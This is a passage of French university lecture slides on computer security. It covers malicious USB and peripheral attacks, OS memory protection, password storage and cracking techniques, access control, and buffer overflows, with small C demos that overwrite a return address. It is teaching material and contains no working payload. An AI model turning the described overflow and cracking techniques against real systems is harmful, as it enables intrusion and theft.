La réponse HTTP est remplacé par une série d’i-frames
vers de nombreux sites web connus
Cela permet de voler les cookies d’authentification pour
ces sites (y compris les cookies des sites utilisant HTTPS
si le flag Secure n’est pas correctement positionné)
Installe également une porte dérobée (websocket
ouverte)...
Facilement exploitable dans le contexte evil maid (PC
verrouillé laissé sans surveillance)

73/187 Télécom Paris Guillaume Duc 2020–2021


Périphériques USB malicieux
USB killer [2]

Petit périphérique USB ayant la forme d’une clé USB


normale
Charge des capacités à partir de l’alimentation 5 V de
l’USB jusqu’à atteindre une tension de plusieurs centaines
de volts
Décharge ensuite ces capacités sur les lignes de données
du bus USB
Répète automatiquement l’opération jusqu’à ce que l’hôte
soit grillé...
Grille complètement de nombreux systèmes ayant des
ports USB accessibles (ordinateurs, téléphones, voitures,
etc.)

74/187 Télécom Paris Guillaume Duc 2020–2021


Clavier

Certains claviers disposent de micro-contrôleurs et


peuvent être reprogrammés...
Exemple de certains clavier Apple [4]
• Modifier le comportement du clavier (y compris déni de
service)
• Injection de frappes
• Keylogger

75/187 Télécom Paris Guillaume Duc 2020–2021


Et la batterie ?

À des fins de sûreté, les batteries actuelles embarquent de


l’intelligence
• Safety is a primary design goal in the Smart Battery
System specifications. The central concept behind the
Smart Battery specifications is locating the primary
intelligence of the system inside the battery pack itself
(Smart Battery System Specifications)
Petit processeur s’occupant du contrôle de la batterie
(profil de charge, protection en température, protection
contre la décharge profonde, communication des
paramètres de charge à l’OS, etc.)

76/187 Télécom Paris Guillaume Duc 2020–2021


Batterie (suite)

Exploitation des batteries des MacBook par [14]


• Mot de passe simple (par défaut) pour passer le contrôleur
de batterie en mode unsealed puis en mode full access
• Modification du firmware du contrôleur de batterie...
Exploitation
• Déni de service de la batterie voire explosion/incendie
• Attaque de l’OS (nécessite une vulnérabilité dans l’OS)
persistante au redémarrage/réinstallation

77/187 Télécom Paris Guillaume Duc 2020–2021


Thunderbolt
Thunderstrike : https://trmm.net/Thunderstrike_31c3
Rootkit très bas niveau (via modification de l’EFI) visant les
Mac mis en place par un périphérique Thunderbolt
malicieux
Lors du démarrage, le BIOS (et l’UEFI) vont chercher des
OptionROM (mécanisme remontant à l’IBM PC), mémoires
contenant du code à exécuter et présentes sur des cartes
ISA, PCI, PCI-X et... des périphériques Thunderbolt
Exécution de code privilégié, contexte : evil-maid
Dans le cas de Thunderstrike, les OptionROM sont
également exécutée lors des mises à jour du firmware de
boot et donc à un moment où l’accès à la flash est
autorisée

78/187 Télécom Paris Guillaume Duc 2020–2021


Plan
Introduction
Exemples d’attaques
Attaque sur les composants
Side-Channel Attacks — Attaques par canaux auxiliaires
Attaques intrusives
Bugs & Portes dérobées dans les processeurs
Impact des mécanismes d’optimisation
Attaque sur les bus et la mémoire
Problèmes avec les périphériques
Accès direct à la mémoire
Autres attaques
Conclusion

79/187 Télécom Paris Guillaume Duc 2020–2021


Conclusion

Se méfier du matériel lui-même


Se méfier du fabriquant du matériel
Se méfier du propriétaire du matériel
Mais à qui se fier ?

80/187 Télécom Paris Guillaume Duc 2020–2021


Troisième partie III

Sécurité OS

81/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

82/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

83/187 Télécom Paris Guillaume Duc 2020–2021


Rôle dans la sécurité

Le système d’exploitation joue un rôle primordial dans la


sécurité d’un ordinateur
C’est lui qui est garant de l’isolation entre les processus
(applications) et entre les utilisateurs
Il s’appuie pour cela sur des fonctionnalités offertes par le
matériel (MMU et niveaux d’exécution du processeur
notamment)

84/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

85/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

86/187 Télécom Paris Guillaume Duc 2020–2021


Anneaux de protection
Protection rings

Concept introduit dans le matériel développé pour le


système Multics (8 anneaux utilisés)
Mécanisme matériel offrant une certaine protection des
données contre des fautes ou des comportements
malicieux du logiciel
Différentes parties du logiciel (système d’exploitation,
pilotes de périphériques, bibliothèques, applications, etc.)
vont s’exécuter dans des anneaux différents avec des
privilèges différents

87/187 Télécom Paris Guillaume Duc 2020–2021


Anneaux de protection
Protection rings

Hiérarchie entre les anneaux


• L’anneau le plus privilégié (généralement numéroté 0) a
accès à toutes les fonctionnalités et les données du
système
• Chaque anneau à accès aux fonctionnalités et aux
données des anneaux moins privilégiés
• Par contre, dans un anneau donné, l’accès aux
fonctionnalités et aux données de niveaux plus privilégiés
doit passer par des interfaces bien spécifiées (appels
systèmes...)

88/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

89/187 Télécom Paris Guillaume Duc 2020–2021


Introduction

Mécanisme introduit dans les années 1960 (monde des


mainframes) mais disponible sur les PC depuis le 80386
d’Intel
Avantages
• Isolation entre les espaces mémoires de différentes
applications
• Partage explicite de certaines zones mémoires
(bibliothèques de code, données partagées...)
• Pagination (permet aux applications de disposer de plus de
mémoire qu’il en existe physiquement)

90/187 Télécom Paris Guillaume Duc 2020–2021


Principes

Les applications ne manipulent pas directement des


adresses physiques (adresses présentées aux puces de
RAM) mais des adresses virtuelles
Un mécanisme matériel, la MMU (Memory Management
Unit), le plus souvent intégrée aux processeurs, se charge
de faire la conversion entre les adresses virtuelles et les
adresses physiques
Cette conversion est effectuée en se basant sur une table
de conversion, nommée la table des page (page table), le
plus souvent mise en place par le système d’exploitation

91/187 Télécom Paris Guillaume Duc 2020–2021


Fonctionnement
Pour des raisons pratiques, la traduction n’est pas réalisée
avec la granularité d’une adresse virtuelle (il y a 232
adresses virtuelles dans le cas d’un processeur 32 bits,
donc une table des pages nécessiterait de stocker les 232
adresses physiques correspondantes ; chaque adresse
étant codée sur 32 bits, la table ferait 16 Gio...)
L’espace d’adressage virtuel ainsi que l’espace
d’adressage physique sont découpés en pages (au
minimum 4 kio sur x86)
La conversion fait correspondre un numéro de cadre
physique à un numéro de page virtuelle, le déplacement
au sein de la page physique étant égal au déplacement au
sein de la page virtuelle

92/187 Télécom Paris Guillaume Duc 2020–2021


Fonctionnement
Exemple : adresses 32 bits, pages de 4 kio, 1 niveau de traduction

31 12 11 0

Numéro de page Déplacement Adresse virtuelle

Table des pages

Numéro de cadre Déplacement Adresse physique


31 12 11 0

93/187 Télécom Paris Guillaume Duc 2020–2021


Fonctionnement
Exemple : adresses 32 bits, pages de 4 kio, 2 niveaux de traduction

31 12 11 0

Déplacement Adresse virtuelle

Table de niveau 1 Table de niveau 2

Numéro de cadre Déplacement Adresse physique


31 12 11 0

94/187 Télécom Paris Guillaume Duc 2020–2021


Fonctionnement
Utilisation de plusieurs niveaux de tables de pages pour
gérer plus efficacement les larges zones vides dans
l’espace d’adressage virtuel d’un processus
La MMU dispose d’un cache spécialisé (TLB, Translation
Lookaside Buffer ) destiné à conserver les traductions
(page virtuelle, cadre physique) récemment utilisées
En cas de défaut de TLB, le parcours de la table de pages
(ou des différents niveaux de table) pour rechercher la
traduction peut être effectué
• Soit matériellement : la MMU connaît l’adresse de la table
de premier niveau et va la parcourir elle-même (exemple
architecture x86)
• Soit logiciellement : la MMU déclenche une exception et
c’est au système d’exploitation de charger explicitement
une entrée du TLB avec la traduction demandée (exemple
architecture MIPS)

95/187 Télécom Paris Guillaume Duc 2020–2021


Fonctionnement

Dans une entrée de la table de pages (entrée de page,


page entry ) sont également stockées les informations
suivantes
• Validité (l’entrée est-elle valide ?)
• Informations d’accès (les données de la page ont-elles été
accédées et/ou modifiées ?)
• Informations de protection
– Page en lecture seule ou lecture/écriture
– Accès en mode utilisateur ou en mode superviseur
uniquement
– Page contenant du code exécutable ou non (bit NX)

96/187 Télécom Paris Guillaume Duc 2020–2021


Utilisation
Flat memory model

Espace d’adressage virtuel Mémoire physique


B
A
B
OS
A
B
B
A
Processus A

97/187 Télécom Paris Guillaume Duc 2020–2021


Utilisation
Flat memory model

Espace d’adressage virtuel Mémoire physique


B
A
B
OS
A
B
B
A
Processus B

97/187 Télécom Paris Guillaume Duc 2020–2021


Utilisation

Le système d’exploitation maintient une table de pages par


processus
Lorsque le SE bascule d’un processus à un autre, il
configure la MMU pour utiliser la table de pages du
nouveau processus
La modification du registre de la MMU contenant le
pointeur vers le premier niveau de la table de pages est
une action qui est privilégiée (qui ne peut donc être
réalisée que par le SE)
• Lien avec les anneaux de protection
Un processus ne peut donc pas modifier directement sa
table de pages

98/187 Télécom Paris Guillaume Duc 2020–2021


Utilisation

Lorsqu’un processus accède à une adresse virtuelle pour


laquelle l’entrée correspondante dans la table des pages
n’est pas valide (drapeau valide non positionné) ou si les
informations de protection ne sont pas correctes (lecture
seule pour un accès en écriture par exemple), la MMU
déclenche une exception
Le système d’exploitation reprend alors la main et peut
• Tuer le processus en cas d’accès illégal (accès à une page
mémoire non allouée, violation des attributs de protection...)
• Dans certain cas, l’exécution peut reprendre après une
action du système d’exploitation (restauration de la page
demandée qui avait été évincée de la mémoire faute de
place, mécanisme de copy-on-write...)

99/187 Télécom Paris Guillaume Duc 2020–2021


Utilisation
Isolation des processus

Un processus ne peut donc pas accéder à une adresse


physique si une traduction n’est pas explicitement mise en
place par le système d’exploitation
Donc le SE peut s’assurer qu’un processus ne peut pas
accéder à des zones mémoires physiques appartenant à
d’autres processus ou au SE lui-même

100/187 Télécom Paris Guillaume Duc 2020–2021


Utilisation
Pagination / Swap

Si la mémoire vient à manquer, le système d’exploitation


peut déplacer le contenu de certains cadres de mémoire
physique vers un support de stockage de masse (disque
dur) et marquer les pages de mémoire virtuelle
correspondantes comme invalides
Si un des processus dont la mémoire a été évincée essaie
d’y accéder, la MMU déclenchera une exception
Le SE reprend la main et voit que l’adresse demandée
existe bien mais a été déplacée vers le disque
Il peut remettre les données dans un cadre de mémoire
physique et reconfigurer l’entrée de page correspondante
Il relance alors l’instruction fautive du processus qui peut
maintenant réussir

101/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

102/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

103/187 Télécom Paris Guillaume Duc 2020–2021


3 méthodes fondamentales

Ce que l’on connaît


• Mot de passe
• Code PIN
Ce que l’on possède
• Clé
• Badge
• Carte à puce
Ce que l’on est
• Visage (photo d’identité)
• Biométrie : empreinte digitale, image de la rétine, veines,
etc.

104/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe
Moyen le plus utilisé pour identifier un utilisateur
Principe
• L’utilisateur et le système se mettent d’accord sur un secret
partagé P, le plus souvent une chaîne de caractères plus
ou moins longue
• Lorsque l’utilisateur veut s’authentifier, il présente P au
système
• Le système compare le secret présenté par l’utilisateur à sa
copie locale
Pour éviter les attaques par force brute (essai d’un grand
nombre de mot de passe)
• Bloquer le compte au bout de x essais infructueux (mais
risque de déni de service)
• Augmenter progressivement le temps minimum entre deux
tentatives infructueuses

105/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe
Stockage en clair

Le système doit pouvoir vérifier si un mot de passe


présenté est correct
Première solution : le système stocke le mot de passe en
clair
• Problème : si un intrus (ou un administrateur corrompu)
accède à cette information, il peut récupérer le mot de
passe en clair et s’en servir

106/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe
Stockage

Solution : stocker une “empreinte” du mot de passe et pas


le mot de passe lui-même
• Soit h une fonction de hachage
• Initialisation : l’utilisateur choisit P et le système stocke
H = h(P)
• Identification : l’utilisateur présente P 0 au système, qui
calcule H 0 = h(P 0 ) et compare avec le haché H stocké lors
de la phase d’initialisation
• Si H = H 0 , P = P 0 (avec une très grande probabilité), sinon
P 6= P 0
Dans ce cas un intrus a accès à H et doit trouver X tel que
H = h(X ), ce qui est très difficile pour une bonne fonction
de hachage (propriété de résistance à la première
pre-image)

107/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Attaque par dictionnaire

Même avec cette solution, on peut identifier que deux mots


de passe sont identiques
On peut aussi construire des tables des mots de passe les
plus fréquemment utilisés (attaque par dictionnaire)
• Soit E = P1 , . . . , Pn une liste de mots de passe simples
(mots du dictionnaire, dates de naissance, numéro
d’immatriculation de voitures, prénoms, etc.)
• L’attaquant calcule ∀i ∈ [1..n], Hi = h(Pi ) (ce calcul peut
être fait hors ligne)
• Si dans le fichier il trouve un des Hi qu’il a calculé, il peut
savoir que le mot de passe correspondant est Pi
• Cependant la taille de cette liste est proportionnelle à n,
d’autres techniques existent...

108/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Chaînes de hash

Permet de réduire la taille nécessaire au stockage des


tables pre-calculées au détriment du temps nécessaire
pour les utiliser
Soit P l’ensemble (fini) des mots de passe, h la fonction de
hachage utilisée pour le stockage et r une fonction qui
prend en entrée un haché et qui sort un élément de P
(r 6= h−1 )
On calcule des chaînes de longueur fixe n en partant d’un
élément de P et en appliquant alternativement h et r
h r h r
• aaaaaa −
→ 0A1B2C3D →
− qsdfgh −
→ AA5512FF →
− wxcvbn
h r h r
• bbbbbb −
→ 11223344 →
− poiuyt −
→ 9D55CC32 →
− mlkjhg
On stocke la première et la dernière valeur de chaque
chaîne

109/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Chaînes de hash, suite...

Si on récupère un mot de passe haché, ex. 9D55CC32, on


va appliquer alternativement r et h, au maximum n fois, et
vérifier si on trouve une valeur stockée dans notre table
r
• 9D55CC32 →
− mlkjhg
• mlkjhg est dans notre table
On repart alors du début de la chaîne en appliquant h et r
jusqu’à retrouver notre mot de passe haché
h r h
• bbbbbb − → 11223344 →− poiuyt − → 9D55CC32
• Ici notre mot de passe en clair est poiuyt
Problème : Fusion de deux chaînes
• Mot de passe haché : 00110011
r h r
• 00110011 →
− fghjkl − → 55665566 → − mlkjhg
• La réponse n’est pas dans la chaîne bbbbbb–mlkjhg

110/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Rainbow tables

Pour réduire le risque de collision, on remplace la fonction


de réduction r par une série de fonctions r1 , . . . , rk ainsi
pour qu’une collision se propage, il faut qu’elle intervienne
lors de la même itération
h 1 r h 2 r
• aaaaaa −
→ 0A1B2C3D −
→ qsdfgh −
→ AA5512FF −
→ wxcvbn
h r1 h r2
• bbbbbb −
→ 11223344 −
→ poiuyt −→ 9D55CC32 −
→ mlkjhg
La vérification implique le calcul de plusieurs chaînes
2 r
• 98765432 −
→ aqwzsx?
r1 h r2
• 98765432 −
→ edcrfv −→ 77552211 −
→ rfvtgb?
Des rainbow tables sont disponibles (sur Internet) pour
plusieurs fonctions de hachage de mots de passe

111/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Attaque par force brute...

Toutes ces techniques permettent d’attaquer plus


rapidement les mots de passe
Cependant, l’attaque par force brute devient de nouveau
possible à l’aide du calcul massivement parallèle
(notamment sur GPU)
Exemple [8]
• Cluster de 25 cartes graphiques AMD Radeon
• NTML (ancien algorithme de hachage de Microsoft) :
348 · 109 essais par seconde, soit un peu plus de 5 heures
pour tester tous les mots de passe à 8 caractères (958
essais)
• SHA1 : 63 · 109 essais par seconde
• bcrypt : seulement 71 · 103 essais par seconde

112/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Attaque par force brute...

Source : [8]

113/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Sel

Solution : ajouter du “bruit” (sel) au calcul


• Initialisation : l’utilisateur choisit P, le système choisit
aléatoirement S et stocke S, H(PkS)
• Identification : l’utilisateur présente P 0 au système qui
récupère S et calcule H(P 0 kS)
• L’attaquant, s’il veut faire le calcul de ses tables hors ligne,
doit considérer toutes les valeurs possibles du sel S, ce qui
peut augmenter considérablement la taille de l’espace
nécessaire pour les stocker

114/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Key stretching

Autre solution : accroître le temps et/ou le matériel


nécessaire pour calculer la fonction de hachage du mot de
passe
result = ""
f o r 1 t o 65536 do
r e s u l t = h ( r e s u l t + password + s a l t )

La vérification d’un mot de passe reste relativement rapide


(on peut par exemple admettre 1 seconde au lieu de 1 µs)
mais le calcul des rainbow tables prend 1 000 000 fois plus
de temps

115/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe — Stockage
Key stretching, suite...

Cette technique est également utilisé pour générer des


clés relativement robustes à partir de mots de passe
simples (exemple pour le WPA)
Exemples : PBKDF2 (Password-Based Key Derivation
Function 2), bcrypt
L’utilisation de FPGA réduit l’efficacité de ce mécanisme,
d’où l’introduction d’algorithme nécessitant en plus un
matériel (plus précisément un usage mémoire) important
pour le calcul (exemple : l’algorithme scrypt)

116/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe à usage unique

Problème lorsque l’on doit taper le mot de passe sur un


terminal non digne de confiance ou s’il doit transiter en
clair sur le réseau
Risque d’interception et de réutilisation
Solution : le mot de passe à usage unique (One-Time
Password)
Le mot de passe à utiliser change à chaque demande
d’authentification et l’interception d’un mot de passe ne
donne aucune information sur les futurs mots de passe à
utiliser

117/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe à usage unique
S/Key

L’utilisateur choisit un mot de passe p0 et le partage avec


le serveur
L’utilisateur et le serveur calculent
p1 = H(p0 ), p2 = H(p1 ) = H(H(p0 )), . . . , pn = H n (p0 ) et le
serveur stocke pn
Lors de la première authentification, l’utilisateur doit fournir
pn−1 au serveur. Ce dernier calcule H(pn−1 ) et compare le
résultat à pn
Si la comparaison réussie, le serveur stocke pn−1 et
l’utilisateur devra fournir à l’authentification suivante pn−2 ...

118/187 Télécom Paris Guillaume Duc 2020–2021


S/Key
Sécurité

En espionnant, un adversaire voit passer pi


Pour réussir l’authentification suivante, il doit trouver pi−1
tel que pi = H(pi−1 ), ce qui est difficile (propriété de
résistance à la première pre-image)
Néanmoins, S/Key est vulnérable à une attaque
Man-in-the-middle

119/187 Télécom Paris Guillaume Duc 2020–2021


Autres considérations
Un bon mot de passe est un mot de passe compliqué
(comportant des lettres, des chiffres, des majuscules, des
caractères spéciaux)
• Or, un utilisateur, aura tendance à choisir un mot de passe
relativement simple pour s’en souvenir, ou bien, il le notera
par écrit
De plus, l’utilisateur aura tendance à utiliser un seul mot de
passe pour ses différents comptes (professionnels,
comptes personnels sur Internet, etc.)
• Il suffit d’une interception pour permettre à un attaquant
d’accéder à l’ensemble de ses comptes...
• Solutions
– Racine commune + prefixe/sufixe propre à chaque compte
– Gestionnaire de mots de passe
– H(mot de passe unique, nom du compte)

120/187 Télécom Paris Guillaume Duc 2020–2021


Autres considérations
Se méfier des procédures de récupération de mot de
passe qui sont parfois plus simples que de trouver le mot
de passe
• Questions secrètes trop simples (nom du chien, ville de
naissance...), soit la réponse peut être facilement connue
de l’attaquant, soit l’espace de recherche est restreint
• Administrateur système qui ne vérifie pas l’identité de la
personne qui vient lui demander de réinitialiser son mot de
passe
Sondage au Royaume-Uni en 2004
(http://news.bbc.co.uk/2/hi/technology/3639679.stm)

• 70 % des sondés donneraient leurs mots de passe en


échange d’une barre de chocolat
• 34 % les donneraient même sans rien en échange
• Espérons que les mentalités évoluent...

121/187 Télécom Paris Guillaume Duc 2020–2021


Mots de passe les plus utilisés
Source : SplashData, 2014

123456
password
12345
12345678
qwerty
1234567890
1234
baseball
dragon
football

122/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

123/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

124/187 Télécom Paris Guillaume Duc 2020–2021


DAC vs. MAC

Les permissions Unix standards et les ACL


Discretionary Access Control
Problèmes
• L’administrateur ne contrôle pas les utilisateurs : ces
derniers peuvent définir les permissions qu’ils veulent sur
leurs fichiers (ex. permissions 777 sur leur répertoire
/̃.ssh)
• Les processus héritent des droits de l’utilisateur et peuvent
faire n’importe quoi (lire des fichiers privés, modifier les
permissions, etc.)
Solution : Mandatory Access Control
• N’accorder aux processus que les privilèges nécessaires
• Tout ce qui n’est pas autorisé est interdit

125/187 Télécom Paris Guillaume Duc 2020–2021


Quelques implémentations de MAC dans
Linux
SELinux
• Crée par la NSA
• Inclus dans le noyau 2.6+
• Supporté par de nombreuses distribution Linux
• Chaque fichier (au sens large) et processus a un contexte
(utilisateur, rôle, type)
• Toute action d’un processus sur un fichier (au sens large :
fichier, périphérique, socket, etc.) va déclencher une
vérification par le noyau de la présence d’une règle qui
l’autorise (en fonction du contexte du processus et du
fichier)
TOMOYO Linux
Smack (Simplified Mandatory Access Control Kernel)...
Souvent complexes à configurer pour l’administrateur !

126/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Support matériel
Anneaux de protection
Mémoire virtuelle

Isolation entre utilisateurs


Authentification des utilisateurs

Quelques avancées sur la sécurité


Mandatory Access Control
Virtualisation

127/187 Télécom Paris Guillaume Duc 2020–2021


Introduction

Très à la mode depuis quelques années, surtout côté


serveur (mais ancien : années 60)
Permet de faire fonctionner plusieurs machines virtuelles
sur une machine physique
Chaque machine virtuelle fait tourner un système
d’exploitation et plusieurs applications
Chaque machine virtuelle est isolée des autres (et de la
machine physique)
Exemple : sur un serveur physique, une machine virtuelle
par service (bénéfique d’un point de vue sécurité)
Autre avantage : migration d’une machine physique vers
une autre

128/187 Télécom Paris Guillaume Duc 2020–2021


Sécurité

Hyperviseur + Support matériel


Problèmes de sécurité
• Bug possible dans l’hyperviseur (exemple, CVE-2014-7188
dans Xen, octobre 2014)
• Périphériques matériels non prévus pour la virtualisation
(notamment ceux écrivant directement en mémoire comme
le DMA, carte graphique...)
– Soit émulation par l’hyperviseur (peu performant)
– Protection via un mécanisme de IO-MMU (ex. Intel VT-d)

129/187 Télécom Paris Guillaume Duc 2020–2021


Quatrième partie IV

Sécurité logicielle

130/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

131/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

132/187 Télécom Paris Guillaume Duc 2020–2021


Top 25 Most Dangerous Software Errors

Source : 2019 CWE Top 25 Most Dangerous Software


Errors, http://cwe.mitre.org/top25/
Page intéressante à lire car apporte de nombreux détails
sur chacune des vulnérabilités et sur les solutions
possibles

133/187 Télécom Paris Guillaume Duc 2020–2021


Top 25 Most Dangerous Software Errors I
1. Improper Restriction of Operations within the Bounds of a
Memory Buffer
2. Improper Neutralization of Input During Web Page
Generation (’Cross-site Scripting’)
3. Improper Input Validation
4. Information Exposure
5. Out-of-bounds Read
6. Improper Neutralization of Special Elements used in an
SQL Command (’SQL Injection’)
7. Use After Free
8. Integer Overflow or Wraparound
9. Cross-Site Request Forgery (CSRF)

134/187 Télécom Paris Guillaume Duc 2020–2021


Top 25 Most Dangerous Software Errors II
10. Improper Limitation of a Pathname to a Restricted
Directory (’Path Traversal’)
11. Improper Neutralization of Special Elements used in an OS
Command (’OS Command Injection’)
12. Out-of-bounds Write
13. Improper Authentication
14. NULL Pointer Dereference
15. Incorrect Permission Assignment for Critical Resource
16. Unrestricted Upload of File with Dangerous Type
17. Improper Restriction of XML External Entity Reference
18. Improper Control of Generation of Code (’Code Injection’)
19. Use of Hard-coded Credentials

135/187 Télécom Paris Guillaume Duc 2020–2021


Top 25 Most Dangerous Software Errors III

20. Uncontrolled Resource Consumption


21. Missing Release of Resource after Effective Lifetime
22. Untrusted Search Path
23. Deserialization of Untrusted Data
24. Improper Privilege Management
25. Improper Certificate Validation

136/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

137/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

138/187 Télécom Paris Guillaume Duc 2020–2021


Introduction

Erreur extrêmement répandue et dangereuse


Liée à l’utilisation de langages ne vérifiant pas lors de
l’exécution les limites des tableaux et des tampons
En lisant ou en écrivant à un index en dehors des limites
d’un tampon, on peut récupérer des informations non
prévues ou perturber l’exécution du programme

139/187 Télécom Paris Guillaume Duc 2020–2021


Premier exemple
/* test0 . c */
# include < s t r i n g . h>
# include < s t d l i b . h>

void m y _f u n ct i o n ( char * r e q u e s t _ f r o m _ u s e r ) {
char b u f f e r [ 1 6 ] ;
s t r c p y ( bu ff er , request_from_user ) ;
/* . . . */
}

i n t main ( i n t argc , char * * argv ) {


m y _ f u n ct i o n ( argv [ 1 ] ) ;
e x i t ( EXIT_SUCCESS ) ;
}

140/187 Télécom Paris Guillaume Duc 2020–2021


Premier exemple — Suite

$ gcc -fno-stack-protector -o test0 test0.c


$ ./test0 12345
$ ./test0 123456789012345678901234567890
Erreur de segmentation
$

Que s’est-il passé ?

141/187 Télécom Paris Guillaume Duc 2020–2021


Premier exemple — Explications

void m y _f u n ct i o n ( char * r e q u e s t _ f r o m _ u s e r )
{
char b u f f e r [ 1 6 ] ;
s t r c p y ( bu ff er , request_from_user ) ;
}

strcpy copie la chaîne request_from_user (en incluant le


0 final) à l’adresse buffer
buffer ne peut normalement recevoir que 16 octets au
total or, dans le deuxième exemple, request_from_user
contient 30 octets
strcpy va donc écraser ce qui vient juste après buffer en
mémoire, ce qui peut poser des problèmes

142/187 Télécom Paris Guillaume Duc 2020–2021


État de la mémoire (entrée d’une fonction)

Adresses

Arguments

@ retour
Old EBP EBP

Variables
locales
ESP
Pile

143/187 Télécom Paris Guillaume Duc 2020–2021


Modification de l’adresse de retour
/* test1 . c */
# include < s t d i o . h>
# include < s t d l i b . h>

void f o o ( ) {
p r i n t f ( " In foo ! \ n " ) ;
e x i t ( EXIT_FAILURE ) ;
}

void bar ( ) {
int buff [ 4 ] ;
b u f f [ 5 ] = ( i n t ) ( foo ) ;
}

i n t main ( i n t argc , char * * argv ) {


bar ( ) ;
e x i t ( EXIT_SUCCESS ) ;
}

144/187 Télécom Paris Guillaume Duc 2020–2021


Modification de l’adresse de retour

$ gcc -g -m32 -mtune=i386 -o test1 test1.c


$ ./test1
In foo!
$

145/187 Télécom Paris Guillaume Duc 2020–2021


Modification de l’adresse de retour

Adresses

@ retour buff[5]
Old EBP buff[4]
buff[3]
buff[2]
buff[1]
buff[0]
Pile

146/187 Télécom Paris Guillaume Duc 2020–2021


Exploitation
L’exploitation la plus courante est d’exploiter le
débordement d’un tampon situé sur la pile (variable locale)
pour modifier l’état de celle-ci, et notamment l’adresse de
retour, et ainsi détourner le flot d’exécution du programme
• Saut vers un morceau de code (par exemple shellcode)
fourni par l’attaquant (dans le même tampon)
• Saut vers une fonction de la bibliothèque standard (souvent
system ou execve) en ayant au préalable configuré la pile
pour passer à cette fonction des paramètres intéressants
(return to libc)
• Chaîne de sauts vers des portions de code (quelques
instructions suivies d’une instructions return) : Return
Oriented Programming
Résultat : Exécution de code avec les privilèges de
l’application de départ

147/187 Télécom Paris Guillaume Duc 2020–2021


Protection

Éviter un certain nombre de fonctions dangereuses


(strcpy, gets...) et utiliser les fonctions n (strncpy...)
Utilisation de valeurs canaries permettant de détecter une
tentative de corruption de la pile (ex. StackGuard...)
Pile non exécutable (via bit NX par exemple) mais ne
protège pas contre les attaques return to libc
ABI x86_64 : le premier argument d’une fonction est passé
dans un registre et non dans la pile
Address Space Layout Randomization
Langages vérifiant dynamiquement le dépassement des
tampons (Java, C#...)

148/187 Télécom Paris Guillaume Duc 2020–2021


Heartbleed 1/3

Faille critique d’OpenSSL découverte en avril 2014


Liée à un débordement de tampon en lecture
Permet à l’attaquant de récupérer des informations
secrètes et notamment fréquemment la clé secrète du
serveur, des informations envoyées par un autre client (ex.
mots de passe)...
Lié à l’extension Heartbeat
